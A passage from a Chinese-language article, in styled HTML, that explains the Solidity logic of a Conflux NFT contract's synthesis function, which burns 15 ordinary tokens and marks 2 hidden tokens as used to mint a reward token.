{</span></code><code><span class="code-snippet_outer">              images[numImages++] = tokenId;</span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      for (uint256 ii = 0; ii &lt; info.videos.length; ++ii) {</span></code><code><span class="code-snippet_outer">          uint256 tokenId = info.videos[ii];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">          if (ownerOf(tokenId) == info.user &amp;&amp; !chill__videoUsed[tokenId]) {</span></code><code><span class="code-snippet_outer">              videos[numVideos++] = tokenId;</span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer">      }</span></code></pre></section><p><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">require(chill__inProgress, &#34;Not started yet&#34;) 调用用于检测状态变量 <span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">chill__inProgress 是否为 true （取决于 minter 是否已经调用了 <span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">chill__start 方法</span>）</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="markdown"><code><span class="code-snippet_outer">uint256[] memory images = new uint256[](info.images.length);</span></code><code><span class="code-snippet_outer">uint256[] memory videos = new uint256[](info.videos.length);</span></code></pre></section><p><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">上述代码是初始化一段数组，数组的长度取决于 minter 调用合约是传入的参数长度，通常info.images.length 为 15 ，info.videos.lengh 为 2。</span></p><p><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">uint256 numImages = 0;</span></code><code><span class="code-snippet_outer">uint256 numVideos = 0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">for (uint256 ii = 0; ii &lt; info.images.length; ++ii) {</span></code><code><span class="code-snippet_outer">    uint256 tokenId = info.images[ii];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    if (ownerOf(tokenId) == info.user) {</span></code><code><span class="code-snippet_outer">        images[numImages++] = tokenId;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">for (uint256 ii = 0; ii &lt; info.videos.length; ++ii) {</span></code><code><span class="code-snippet_outer">      uint256 tokenId = info.videos[ii];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      if (ownerOf(tokenId) == info.user &amp;&amp; !chill__videoUsed[tokenId]) {</span></code><code><span class="code-snippet_outer">          videos[numVideos++] = tokenId;</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">  }</span></code></pre></section><p><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">上述代码是为了将参与合成的数字藏品 tokenId 记录到 uint256[] memory images 及 uint256[] memory videos 中，其中普通款参与合成的藏品 tokenId 记录到<span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"> images ，隐藏款参与合成的 tokenId 记录到 videos中。</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">if (ownerOf(tokenId) == info.user) {</span></code><code><span class="code-snippet_outer">        images[numImages++] = tokenId;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">if (ownerOf(tokenId) == info.user &amp;&amp; !chill__videoUsed[tokenId]) {</span></code><code><span class="code-snippet_outer">          videos[numVideos++] = tokenId;</span></code><code><span class="code-snippet_outer">     }</span></code></pre></section><p><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">上述代码中很关键的逻辑其实在于 if 语句中的条件，</span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 104, 39);display: inline !important;">ownerOf(tokenId) == info.user </span><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">，其中info 是调用者传入的参数 info.user 对应的内容即为账户</span><span style="background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;text-align: start;">（</span><span style="font-size: 14px;color: rgb(255, 104, 39);">0x18b1edd5ae7...</span><span style="background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;text-align: start;">），ownerOf能够判定 tokenId 对应数字资产的所属账户，说明合约开发者希望避免自己调用时通过 info 指定的参数出现错误，必须要求确实持有该数字资产的用户才能够参与合成。numImages++，能够记录账户参与合成的普通款藏品数量，</span><span style="background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;text-align: start;color: rgb(255, 0, 0);">有的账户可能有30个普通藏品，加4个隐藏藏品，则能够合成两次，获得两个合成藏品</span><span style="background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;text-align: start;">。有的账户可能有更多，不信，可以参考如下交易：</span></p><p><span style="background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;text-align: start;"><a href="https://www.confluxscan.net/transaction/0xfdb70f2122896f402b4e97231b6c3983fc43606b1c049acd1760265df2225b5d" target="_blank">https://www.confluxscan.net/transaction/0xfdb70f2122896f402b4e97231b6c3983fc43606b1c049acd1760265df2225b5d</a></span></p><p><br/></p><p><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 104, 39);display: inline !important;">!chill__videoUsed[tokenId]</span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;"> 这一检测逻辑其实更为简单，它维护了一个全局状态，解决了如下需求：</span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 104, 39);display: inline !important;">在不销毁隐藏款数字藏品的前提下，知晓该数字藏品是否已参与过合成操作</span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;">。如果没参与过合成，才能够参与合成操作。假设 tokenId == 1 的藏品参与过合成操作，则</span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 0, 0);display: inline !important;">chill__videoUsed[1] 将被设置为 true</span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;">。<span style="color: rgb(255, 104, 39);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"> </span></span></p><p><span style="margin: 0px;padding: 0px;color: rgb(255, 104, 39);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">uint256 imageId = 0;</span></code><code><span class="code-snippet_outer">uint256 videoId = 0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">while ((numImages - imageId) &gt;= numImagesForReward &amp;&amp; (numVideos - videoId) &gt;= numVideosForReward) {</span></code><code><span class="code-snippet_outer">    // burn images</span></code><code><span class="code-snippet_outer">    for (uint256 ii = 0; ii &lt; numImagesForReward; ++ii) {</span></code><code><span class="code-snippet_outer">        uint256 tokenId = images[imageId++];</span></code><code><span class="code-snippet_outer">        _burn(tokenId);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    // skip videos</span></code><code><span class="code-snippet_outer">    for (uint256 ii = 0; ii &lt; numVideosForReward; ++ii) {</span></code><code><span class="code-snippet_outer">        uint256 tokenId = videos[videoId++];</span></code><code><span class="code-snippet_outer">        chill__videoUsed[tokenId] = true;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    // send out reward</span></code><code><span class="code-snippet_outer">    emit ChillExchange(info.user, chill__nextRewardId);</span></code><code><span class="code-snippet_outer">    this.transferFrom(address(this), info.user, chill__nextRewardId++);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;"> 上述代码是合成所实现的逻辑是一个 while 循环中嵌套了 for 循环， while 循环条件如下：</span></p><p><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;">(numImages - imageId) &gt;= numImagesForReward &amp;&amp;</span></p><p><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;"> (numVideos - videoId) &gt;= numVideosForReward， <span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">imageId 及 <span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">videoId初始值设置为0，并随着合成的进行，配合 for 循环进行自增（++ 操作），<span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">numImages 及 <span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">numVideos 分别是账户中持有普通款藏品的数目和隐藏款藏品的数目。 </span></span></span></span>numImagesForReward 固定为 15，<span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">numVideosForReward </span>固定为 2。</span></span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 0, 0);display: inline !important;">所以这段逻辑不言自明：只要用户持有的藏品数还足够合成，就继续合成下去，直到用户账户中的藏品不够参与合成了</span><span style="margin: 0px;padding: 0px;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color 